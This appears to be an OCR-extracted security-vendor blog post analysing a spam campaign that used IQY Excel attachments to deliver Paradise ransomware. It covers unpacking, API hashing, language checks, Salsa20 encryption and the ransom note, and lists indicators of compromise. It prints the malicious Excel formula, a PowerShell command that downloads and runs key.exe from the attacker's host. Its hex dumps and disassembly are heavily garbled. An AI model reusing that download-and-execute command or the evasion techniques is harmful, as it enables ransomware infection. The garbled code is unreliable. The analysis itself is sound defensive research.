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IQY files, perhaps one of the less known of the weaponizable Microsoft Office file formats,
provide attackers with a simple way to infiltrate a network. We have intercepted a campaign
that leverages this file type to deliver a new variant of the Paradise ransomware.

IQY, or Internet Query files, are simple text files read by Excel that download data from the
Internet. This file type can be leveraged to download an Excel formula (command) that could
abuse a system process, such as PowerShell, cmd, mshta, or any other LoLBins (Living-off-
the-Land Binaries). As this is a legitimate Excel file type, many organizations will not block or
filter it. For organizations that do have security appliances that analyze attachments, these
files may not flag as malware, as there is no payload. These appliances would typically rely
on the reputation of these URLs, with the more robust solutions having the ability to actually
analyze the contents that the URL returns.

web
; Figure 1:

hxxps: /fugajin[.] nct/wp conteont/upgrade/upd.txt

Malicious IQY attachment containing the location of a remote Excel formula.

The Spam Campaign

This campaign attempts to entice users into opening an IQY attachment (Figure 1), which
reaches out and retrieves a malicious Excel formula from the attacker’s C2 server. This
formula, in turn, contains a command to run a PowerShell command that will download and
invoke an executable (see Figure 2).

cmd=| " C: \Windows\SysWOWe4\CMD.EXE CMD.EXE /c powershell Invoke-

WebRequest\“hxxps:/fugajin[. Jnet/wp-content/upgrade /key.exe\” -OutFile

fenv:Tempikey.exe;Start-Process $env: Temphkey.exe'!AB

Malicious Excel Formula.

While IQY attachments are known to have been distributed by the Necurs botnet [1] to
deliver FlawedAmmy RAT [1], this executable is instead tied to the Paradise Ransomware
family, which has been around since at least 2017.

As displayed in Figure 3, we observed that this activity spanned just under two days,
targeting an organization in Asia.
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Figure 3: SMTP traffic delivering 1QY.

Paradise Ransomware

This new version of the ransomware contains several interesting static properties (see Figure
4) including:

e Anomalous section names
For example: .py
¢ Lack of imports (indicator of packed code)
5DLLs
14 APIs
APIls associated with dynamically loading code

Figure 4: Sections and Imports of

Paradise ransomware.
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Unpacking Routine

The unpacking routine is quite interesting in that it leverages a self-injection technique. This
involves copying itself to a new location in memory, transferring control flow to the copy of
itself, and then replacing the original executable in memory with the unpacked ransomware.

First, a new block of memory is allocated with the WinAPI VirtualAlloc function.

Address | Hex | ASCIIT
025 50000 .

Newly Allocated Memory

Figure 5: Allocated Memory
The malware then copies itself to this newly allocated block of memory — rep movsb.

Figure 6:
Address | Hex | ASCII
) 03 04 FF FF 3

-1 40 00 D0 0000 0 00 00| wuwves.l I
1255 80 S
025 (D 21 54 &8 es «L! LLEITH
025 T3 61 6E GE &F program canno
025 5|2 Cﬂpy Df SE” 44 4F 53 20| T be n 1n DOS
0255 Bl T 1o TR, S
0255 4C 01 06 1E 44 ED 5D PE. LosevB1]ssa,
025 ED OF Q1|08 O1 06 06 AG D& snasBanaanns
125 F5i 3E Qo 00 04 00 Q
125 4 10 o2 B n Ta T
125 04 OO0 00 0O[(00 00 00 00| vevvvansnvannnss
D25 04 ER 24 04 00|02 ef
028 10 ] 20 M DD csssssennnnnwnnn

Copying ltself
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Control flow is then transferred to this copy — jmp eax. This allows the copy to manipulate the

original executable (in memory).

51 push ecx

88 CB mov eCxRehx

og CB or ecx, i

B2 DS mov ebx o

59 poOp B8CX

5 28 jne 2474}02

B8 I FF FF push

Ea 36 22 i call 247eg1s

53 push ebx

09 1C Z24 or dword gtr ss:Qespl, ebx [espl :ENtryPoint
58 pop ebx

74 19 je 2474102

B4 04 push 4

68 00 10 00 00 push

55 push ebp

BE AB 54 75 41 0OC mov ebp,dwold ptr ds:[ 417554]

a7 2C 24 xchg dword gtr : Bespll, ebp E
BA pusk

FF 93 14 7C 41 O calll dword pYr ds: [ebx+-<&irtualalloc:]

7: Control Flow Transfer

Figure

The copy then allocates an additional block of memory to begin the unpacking process.

Address | Hex ) | ASCII

B0 LE CROR0KC L OGO OO OO0 O0(00 OO0 00 00|00 00 00 0D B. s cccssssssssss
MI1EGD L

JOLEQO20 ) o0 OO OO OO | D OO0 OO0 O |0d 00 00 D00 0D 00 D) s seasssnssrssensss
FOLECOD 30

MOLEQO4D | 00 OO OO0 OO0 OO OO0 OO0 | 0D 0D 00 00|00 00 00 0] cccvccsncsssnsss
O 1EOS0 4 X S -
MWILEQOED | 00 OO 00 0OD|00 0D OO0 00|00 OO0 OO0 00|00 00 00 DD cuvussssnvsssnsas
I LECO T

8: Memory Allocation

Figure
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The copy overwrites the original executable (in memory) with NULL bytes — rep stosb,
essentially removing the original executable from memory. This is the last step of the
unpacking stub, prior to injecting the unpacked executable into this region of memory.

Address | Hex
OO400000 |

Figure 9: Wiping the Original Executable From Memory
The copy writes the unpacked executable in place of the original executable (in memory) —
movsb.

Figure 10: Unpacked Executable Injected in Memory
Here is a before/after the unpacking stub of the sample. Notice that the anomalous section
names are different, as are many other properties of both the PE and Optional Headers.
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Figure 11: Side by Side of Packed and Unpacked PE
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Unpacked ransomware

LD L0 R DR ORD DR O
00 00 00 00 (D8

L0 00 U0 00 -
4% 00 00|84 OO0 00 00 ...

dd LN 00 00|00 00 00 00|00 OO 00 00 ...

00 00 00 00|00 AD 00 00|30 03 00 00 ...
00 00 00 00|00 00 00 00|00 OF 00 90| .
00 o0 00 00|00 00 oD 0O 00 OO 00 oD
00 D0 00 00|00 00 OO0 00|00 0D 00 00 .
FO OO 00 00|00 00 O3 00|00 OO 00 00| .
00 OF 00 00|00 00 00 00|00 O3 00 o
Td OO OO OO|FF 2T OO0 00|00 10 00 OO
00 04 00 00|00 00 00 03| 00 OO OO O .
20 00 00 60|28 TZ &4 81|74 81 00 O .
00 40 00 00|00 OC 00 00|00 28 00 O
00 00 00 00|00 00 00 00|40 00 00 &4
&1 00 00 00|58 26 00 00|00 50 00 O
00 34 00 00\ 00 00 00 00| 00 O3 00 O
40 o0 0O CO|XE TF T3 TF| 63 OO OO0 Of
00 B0 00 00|00 14 00 00|00 36 00 O
00 OO 03 00|30 00 OO 00|40 OO 0O &0
&F €3 0O O0|F4 O3 00 00|00 AD 00 O
00 44 00 00|00 00 00 00|00 OO 00 O

The unpacking stub then transfers control flow to the beginning of the unpacked ransomware

code.
024841D2 ES 9A 1D 00 00
024841D7 895 5C 24 10
024841D8 __'51._
024B41E2 GA O
024B841E4 FF 93 1C 7C 41 00
024B41EA c3

ush O

€A1l 2485F71
muv dwurd ptr ss

Figure 12: Control Flow Passed to Ransomware

Dynamic Code Resolution

:fesp+ ml‘;bw"’

.jlﬂhﬂiﬂﬂﬂ ptr ds:[ebx+416138]
ﬂnuru ptr ds:[ebx+417C1C]

Jump to ransomware

[ebx+417C1C] :EXITProcess

At the start of the ransomware, WinAPIs of interest are dynamically resolved via manual PEB
traversal, just before a language check is performed. The function dubbed find_API (Figure
13) accepts a unique checksum of the WinAPI function to resolve, and a pointer to the DLL
to search. This instance of the function returns a pointer to LoadLibraryW.

text:00401E20 push ebp
text:00401E21 mov ebp, esp

1£23 sub esp, 38h
text:@0401E26 mow eax, large fs:30h ; PEB
text:00401E2C mov ecx, [eax+@Ch] ; PEB_LDR_DATA
text:@0401E2F mov edx, [ecx+ldh] ; InMemoryOrderModuleList
text:00401E32 mov eax, [edx]
text:00401E34 mov ecx, [eax]
text:00401E36 push ebx
text:00401E37 push esi
text:@0401E38 moy esi, [ecx+18h] ; KERNEL32.DLL
text:@0401E38 push edi
text:80401E3C push BDCA3722Eh
text:B8401E41 push esi ; KERNEL32.DLL
text:00401E42 call find API

Figure 13: PEB Traversal / API Resolution
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LoadLibraryW is located by iterating through kernel32’s exports, performing a hashing
function on each export name. This hash is then compared against the hardcoded hash of
LoadLibraryW — 0xODCA3722E. Figure 14 shows a snippet of the hashing function, which
includes XORing the first four characters of the export name with the key OxDEADCODE.

Yy

FPIS

loc_461766:

mov eax, [edx]

imul eax, @BCCI9E2D51h
add edx, 4

rol eax, ©@Fh

imul eax, 1BB73593h

; 4 chars of api name

Figure 14: DLL Export Name Hashing

xXor eax, ecx ; ©@xDEADCODE
rol eax, ©BDh
dec esi
lea gcx, [eax+eax™d-19AB949Ch]
jnz short loc_481766
¥
Function

Language Check

The function shown in Figure 15 checks to see if the victim’s language ID is that of Russian,
Kazakh, Belarusian, Ukranian, or Tatar. If the victim’s language ID matches one of these
whitelisted values, the malware exits before performing any malicious activity.

loc_483204: i GODE XREF: start+1B8tj
call ds:GetUserDefaultLangID
MoV IX eax, ax
mov ecx, 419h ; Russian
cmp ax, cx
Z short delete and exit
mov edx, 43Fh ; Kazakh
cmp ax, dx
I short delete and exit
mov ecx, 423h 3 Belarusian
cmp ax, cx
4 short delete and exit
mow edx, 422h 3 Ukrainian Figure 15: Checking
cmp ax, dx
z short delete and exit
mov ecx, dd4h ; Tatar
cmp ax, cx
inz short loc_4083244

—— ind ; CODE XREF: start+3519
; start+3Fty ...

call delete_and exit

loc_403244: ; CODE XREF: start+501j
call main_payload
call delete_and_exit

for specific languages
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If the language check is passed, the main payload is executed. This function begins with an
attempt to disable Windows Defender through setting the registry value for

DisableAntiSpyware to 1.

The malware then attempts to kill any processes containing specific strings (see Figure 16).
Ransomware will typically force target applications to close to ensure that handles to files of
interest are released. This allows the malware to then obtain handles to these important files

during the encryption process.

sage black
postg besll
vee I1BM
store.exe mysgl
agl

contained in programs targeted for termination.

Killing target processes/services:

push eax ; nChar

push ecx ; mysql

lea ecx, [ebp+pe.szExeFile]

push ecx ; pszl

call ds : StrCmphi

test eax, eax

jnz short loc_4@1F92

mov edx, [ebp+pe.th32ProcessID]

push edx ; dwProcessId

push eax ; bInheritHandle

push 1 ; dwDesiredAccess

call ds:0penProcess

mov esi, eax

cmp Eii, BFFFFFFFFh

jz short loc_401F392

push @ ; uExitCode

push esi ; hProcess
|ca11 ds:TerminateProcess

push es5l ; nUbject

call ds:CloseHandle

Figure 17: Killing Processes

Crypto Routine

Figure 16: Strings

mov ecx, [ebp+hSCManager]
push 20h ; ° ; dwDesiredAccess
push eax ; lpServiceName
push eCx ; hSCManager
call OpenServicel
mov esi, sax
test esi, esi
2 short loc_408212C
lea edx, [ebp+ServiceStatus]
push edx : lpServiceStatus
push SERVICE_CONTROL_STOP ; dwControl
push esi : hService
call ControlService
push esi
call ControlServiceHandle

The crypto routine involves traversing the file system (and file systems of network shares),
while avoiding certain directories to avoid damaging the system. Those whitelisted

directories are:

e Windows
» Recycle.bin
o System Volume Information
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e Program Files
e Program Files (x86)

Perhaps the most interesting technique involved in the crypto routine is the algorithm used.
The malware leverages Salsa20 to encrypt the victim’s files. The benefit of using this
algorithm is that malware authors can implement it into their source code (see Figure 18 and
Figure 19 for Salsa20 constants found within the malware code), rather than calling functions
from a crypto library. This makes detecting the encryption routine more difficult, and also
makes determining the type of encryption being used a bit more challenging for malware
analysts. This approach allows the malware to fly under the radar, as AV/EDRs may hook
crypto-related WinAPIs (such as CryptEncrypt) to detect such behavior.

mov dword ptr [ecx], 61787865h

mov dword ptr [ecx+4], 3328646Eh .

MoV dword ptr [ecx+8], 79622032h Figure 18: Salsa20 Constants
MoV dword ptr [ecx+8Ch], 6B286574h

mav [ecx+lBh], esi

Address |Hex

Q4B7F62C 8BS 78 7O B1|6E 64 20 33(32 2D 62 79
04B7F63C |DC_EZ B7 04|36 86 91 19(ES F7 BF O4/AL S3 00 7§
04B7Fe4C |00 04 00 00|00 00 00 00| 3C FB BY O4|FF FF FF FF
O4BTFESC (01 00 00 OO|5D 66 FD D1(02 E1 23 1A|9E BO EE CD|....]fy
04B7Fe6C |01 00 OO0 00| QC FF BF 04 AD 16 40 00 |CC _FE BF D4 <. .IG-.
O4B7F67C (BC F6 B7 04|20 €8 58 02 ED 50 EF 76(A4 03 00 00| .6-.PhX.BPivA. ..

74 65 20 BB

Figure 19: Salsa20

Constants

This algorithm is applied against a buffer that gets populated with ReadFile. Once the
contents of this buffer are encrypted (in memory), the cipher text is written to disk, overwriting
the original file.
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push edi ; lpBuffer

ush esi ; hFile
[call Readrile |

test eax, eax

iz short loc_4@22EA

mov ecx, [ebp+nNumberOfBytesTokrite]

push ecx

push edi

push edi ; file_data

lea edx, [ebp+var_18]

lea eax, [ebpsvar 38

mov eax, [ebpsnNumberOfBytesTokrite]

add esp, @Ch

::;“ i“ J dufoveNethod Figure 20: File Encryption Steps
cdq

push a ; lpNewFilePointer
push edx

push eax ; liDistanceToMove

ush esi ; hFile

ca sis5etFilePointer :-cI

mov eax, iegﬁnﬂumgiyteslmﬂte]

push @ i lpOverlapped

lea edx, [ebp+nlumberOfBytesTokrite)

push edx ; lpNumberOfByteskritten
push eax ; NumberOfBytesTokrite
push edi ; encrypted file data

Eush esi : hFile

Here is a before/after of an application being encrypted during the crypto routine.

DIS“&ED e
0O258GA60 | BB
02586870 | DD
02586880 | DD
02586890 | DE 1F BA OE|DD B4
&3
T4
L]

02586840 is progran canno

025 8GR0 20 &2 &8 |20 ~" S 4F 53 20 :ﬁgt runiirl pos

0Z5868C0 6F 64 65|2E 00 00 00 _BERr] HE e

02586800 | 4F CC 39 94|08 pre-encryptinn AD 57 C7|0DI9...WC..WC. . WC

0Z5BG8E0| 88 B1 59 C7|0A AD §7 C7 “E b* E

025868F0 | E2 B2 5A C7|0A AD 57 §7 €7 | Asxe. .

02686900 |00 00 00 00|00 00 OO0 OO|E0 45 00 00 |4 01 03 00 .. .0ccus PE..Laaas

02586910| 3E 50 2D 55|00 00 0O

025686920|08 01 06 00|00 20 03 OONS

02586930| 28 2F 00 00|00 10 00 OO Al 68 64 .
0258694000 10 00 00|00 10 00 OO E& 6A 98 50 17 -1
02586950 |04 00 00 00|00 00 00 O0f 02556870 90 99 GA FA|92 OC 71 AS |AT 2F E1 27

02586960 |58 BO 03 00|02 00 00 00| 02586880 3F DA 1F E1|10 14 56 36|9A &7 77 62|. b
02586970 |00 00 10 00|00 10 00 o0 02586890 97 2C 34 DE|4A BE B2 6A|22 10 36 1C |49 FD BA 93|. P 6. Iy®.
02586980 |00 00 00 00|00 00 00 0Of O25GGEAD |11 A4 AD A2 |40 7F 1C BF |EB 9E C4 94 (B2 A2 AG AG| .5 €8...&.A."¢!"
025869%0 |00 TO 03 00|0OC 06 00 OO

Ciiaeate o 00 % & G| atur
1 AL L T
02586800 |58 AS 79 DE|CE 18 Pﬂﬂ'ﬂﬂﬂwpﬁﬂﬂ E3 66 Egnl:,l o aRs o TEF
025868E0 | EZ ES C4 E9|(D2 36 DF o7
025868F0 | TA ES D6 3C(C5 72 E3 5F|80 F3 AC B6|6F 3E BC 9€|z&0<Ar 'ﬁ-loﬂ.
02586900 | AF AF 75 47 (BE 42 08 C1|5C 53 A9 06 T UGEB . AN S8, yIOU
02586910 | E1 38 13 40(C2 28 ES& AZ |70 B85 41 62 45 96 8D &8. dA+ecpuAbE. . E
0258692025 F1 DC C7(4E D6 OA 89|70 3C 04 DB 24 BA 2D 9A n-‘n.l:rn..}-c.ﬂ-—.
02586930 84 73 CC 61(E31 47 D4 77(9%1 3A 35 08 09 A% 66 66| .sladobw.:q. Derr
02586940 | F7 15 5F 10(2a 14 B9 4E |15 E4 D1 AD F6 14 AC B9 | +._. ", ‘N+lﬁl-o H
02586950 | SF 10 BF 52|71 F5 47 91 /05 A€ 72 T8 |90 18 FE 24 “ltqlrﬁn Fhas b!
02586960 |CA 9D TS 90 (98 18 B8 23 |CB E9 EX 68 40 3IF 03 3¢ Eq . o+ FERENAT .
02586970 |81 66 4D 75|51 TE 0B E3|59 62 ES 32 |67 08 T4 25 :I‘HIE- MMQ 'Hl-

02586990 | 2C 95 BO AC|B2 CB B5 F3|CO 45 6B 97 F3 1C A9 4B|,.*-*E. uiEl-c u LK
nAICARSAn| FR FC A> TE(>a AR F> mnlre 37 A7 a7lin 14 £ a3 lade o h w7, B,

Figure 21: Before/After of an Executable being encrypted.

The file extension is then modified for each encrypted file with MoveFile,using the following
syntax: <filename>_decryptor_{unique_id}.tor. As you can see below, the file dirwatch_ui.exe
is being renamed to dirwatch_ui.exe_decryptor {HphFZC}.tor, through the MoveFile
function.
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push esi esi:L” AN VIDEFENSE\ Sysanalyzer\\dirwatch_ui.exe_decryptor_{HphFZC}.tor"

push edi edi:L MAC s\ IDEFENSE'\SysAnalyzer\ \dirwatch_ui.exe"

€A dword ptr ds: [<&MoveFilews]
Figure 22: Changing encrypted file’s extension.

The ransom note, titled “—==%$$SOPEN_ME UP$$$==—.txt"is dropped to disk, and
automatically opened upon completion of the encryption routine. This ransom note (Figure
23) instructs the victim to visit an online chat to receive instructions on how to decrypt the
files.

[ —=="5550PEN_ME_UPSSSwe—bet £ | [l —==28850PEN_ME_UPS§S8=e—02 ¢_j| == 5580PEN_ME_UP$88aa— (] =] —astSS80PEN_ME_LP%SSsa—na [ ]

1 WHAT HAPPENED!

2 Your important files produced on this computer have been encrypted dus a security problem.
1  If you want to restore then write to the online chat.
4

7 Concact!

7 oOnline chac: hep;//pre-recovery, suppertfchas/2c-deczvprop
8 Your operator: decrypror

5 Your personal ID: oTYJBua

Enter your ID and e=-mail in the chat that you would immediately anssered.

1% Arcantion!

15 Do not renams encrypted files.

1€ Do pot try to decrypt your data uwsing third party software, it may cause permanent data loss.
Do noT attempt To wae The AnTlViIUus oI uninstall The pICQram.

15 Thia will lead To Your data 1033 and unrecoverable.

18 Dezcoders of octher ussrs is not suitable to decrype your files = smarypEclion key 18 unigque.

Figure 23: Ransom Note
The last task the malware completes is a short connection to a URL (ijplogger.com) stored in
the malware’s resource section.

.text:00403186 mov ecx, resource embedded resource

H
.text:0040318C add ecx, 4856 ; offset to iplogger.org
.text:004031C2 call check_in
Figure 24: Extract URL from embedded resource.
000012F0 00 00 00 00 00 00 00 &8 00 74 00 74 00 70 00 73 .......h.t.t.p.=
00001300 00 3A 00 2F 00 2F 00 &% 00 70 00 6C 00 6F 00 €7 .:././.i.p.l.0.g

Q0001310 00 &7 QO &5 00 72 Q0 2E 00 6F 00 72 Q00 67 00 2F .g.&.I...0.L.Q./
00001320 00 31 00 41 Q0 73 00 57 00 79 00 37 00 00 Q00 00 .L.A.8.W.¥.T.u..
Q0001330 00 00 QO 00 QO QO Q0 Q0 QO 00 00 QO 00 Q0 Q0 Q0 sevevssnsnsnsnsa
00001340 00 00 QO Q0 Q0 Q00 QO QT Q0O  aaieseaas

Figure 25: URL in resource.
This appears to just be a simple check-in/notification of infection C2, as no data is sent to C2
in this request. A NULL value is passed as IpOptional parameter to HttpSendRequest.

Interaction with Ransomware Support

To further understand the attack, we made an attempt to interact with the ransomware’s
support team. The URL from the ransom note points to the chat’s login page, as shown in
Figure 26.
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e
&y

decryptor

1. For authorization you need to specify your ID from the note file
2. And just specify your mail to which we can send information

3. To re-contact us, use the data that you specified the first ime Figure 26: Ransomware Support chat

oTYIBu

login.

Upon logging in, you are greeted with an automated message, as well as a set of rules for
the chat room.

PROJECT RULES: Chat with the operator - decryptor
1. only English

2. insulting and speaking in the Operator - decryptor

directicn of the operator will Hello, how can | help you?

be regarded as a threat and will be Ll U

issued a ban at all times

3. Da not flood the chat, as soon as
the operator to get rid of just give

you the answer,

Figure 27: Ransomware Support chat.
Unfortunately, we never received a reply. What is interesting is that the time date format
matches what is used in many European Countries.
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o Operator - decryptor
Hello, how can | help you? Time I Date
EEONEER Format

Client id #0TYJBu

iy files on my compuler ook really weird and this message said Lo

go to this chat

Figure 28: Ransomware Support lack

Client id #oTYJBu

is someone there? | need help please

Client id #oTYJBu
17301 17manen |
of correspondence.
Reuvisiting the static properties of the malware, it has a Compilation Timestamp of 2019-12-
08 18:42:38 (UTC), which would fall at around 7:42pm in Europe. The malware was first
submitted to VT from an IP with a geolocation of Great Britain, at 2019-12-10 16:08:25
(UTC).

Conclusion

In summary, this campaign exhibited how weaponized IQYs can be an effective technique for
an attacker to infiltrate a network. Since these IQY's contain no payload (just a URL), they
can be challenging for organizations to detect. Organizations may have to rely on a 3rd party
URL reputation service if they do not have appliances in place to analyze and interrogate
these URLs.

Although it has been around since at least 2017, public knowledge of the Paradise
ransomware is not wide-spread. This ransomware does contain a few evasion techniques
that prove to be interesting and effective, such as implementing its encryption algorithm
manually/at the source level, to avoid API calls. The algorithm used (Salsa20) is not very
commonly employed by ransomware, although it has been observed being leveraged by
certain versions of Sodinokobi, and Anatova. Lastly, it is always interesting whenever
malware hard-codes a whitelist/blacklist of countries.
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sender helmut-weiling@t-online.de
sender kamel111@t-online.de
sender meinzi@t-online.de

sender permanent-studio-petra@t-online.de
sender salamiboy97@t-online.de
sender sarah.pilcke@t-online.de
sender stefan.kathrin@t-online.de
sender w.hiebenthal@t-online.de
sender blackzor@t-online.de

sender christianmicheel@t-online.de
sender dirk.hoetger@t-online.de
sender heinz-ulrich.link@t-online.de
sender hendrik.peters14@t-online.de
sender norokom@t-online.de
sender polar964@t-online.de
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sender roland.ruehl@t-online.de
sender sabrina-munz@t-online.de
subject RE order_3941943

subject RE.key-2561

subject Subject key#20335

subject subject Offer-57714

subject Subject offer-96226

subject subject.:order 4686

subject subject.key 963064
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subject Subject.order 5366
subject fwd 1896728
subject Fwd 104

subject Fwd:-936300
subject fwd:offer-6692
subject fwd.Offer_6568
subject Re:order 9025
subject subject:#912352
subject subject. 40038
subject subject. 815779
subject subject.:Offer_4822354

attachment name

0068929.iqy

attachment name

186031.iqy

attachment name

44127.iqy

attachment name

77932.iqy

attachment name

9068.iqy

attachment name

cv_1299934.iqy

attachment name

info 81081888.iqy

attachment name

offer#006155.iqy

attachment name

086309.iqy

attachment name

4310.iqy

attachment name

496969.iqy

attachment name

7109.iqy

attachment name

cv 581109.iqy

attachment name

Offer_52206.iqy

attachment name

Order_5636350.iqy
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attachment name

order-5230.iqy

attachment name

profile_94414582.iqy

attachment name

Profile#3973.iqy

URL from 1QY hxxp://ocean-v[.Jcom/wp-content/1.txt

URL from PowerShell hxxp://ocean-v[.]Jcom/wp-content/1.exe
command

URL from 1QY hxxps://ugajin[.Jnet/wp-content/upgrade/upd.txt
URL from PowerShell hxxps://ugajin[.Jnet/wp-content/upgrade/key.exe
command

“Check in” URL hxxps://iplogger|.Jorg/1AsWy7

URL from Ransom Note

hxxp://prt-recovery|[.]Jsupport/chat/25-decryptor

IQY MD5

34517181440f4e9d6371bcb1a3aa8a6f

QY MD5

8df3bf295bf6002bda1cead3d527403d

Paradise Ransomware
(key.exe) MD5

9ac8c2482e25dab49befb711172924f7

1.exe

€1981688506ff4e8b22731d3a0566334

Paradise Ransomware — Full
Path

%TEMP%\key.exe

Paradise Ransomware — Full
Path (copy)

%APPDATA%\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\.exe

Paradise Ransom Note

e About
o |Latest Posts

James Haughom

—==%$$$OPEN_ME_UP$$$==—.txt

James Haughom is a Malware Reverse Engineer at Lastline.Prior to Lastline, James
supported Incident Response and Intel teams in the federal space as a contractor.This
support included Malware Analysis/Reverse Engineering, DFIR, and Tool Development.

16/17


https://www.lastline.com/author/jhaughom/
https://www.lastline.com/author/jhaughom/

Latest posts by James Haughom (see all)

o Evolution of Excel 4.0 Macro Weaponization - June 2, 2020
¢ |QY files and Paradise Ransomware - March 10, 2020

Tags:
Excel, 1QY, Paradise, Ransomware

17/17


https://www.lastline.com/author/jhaughom/
https://www.lastline.com/author/jhaughom/
https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/
https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/
https://www.lastline.com/tag/excel/
https://www.lastline.com/tag/iqy/
https://www.lastline.com/tag/paradise/
https://www.lastline.com/tag/ransomware/

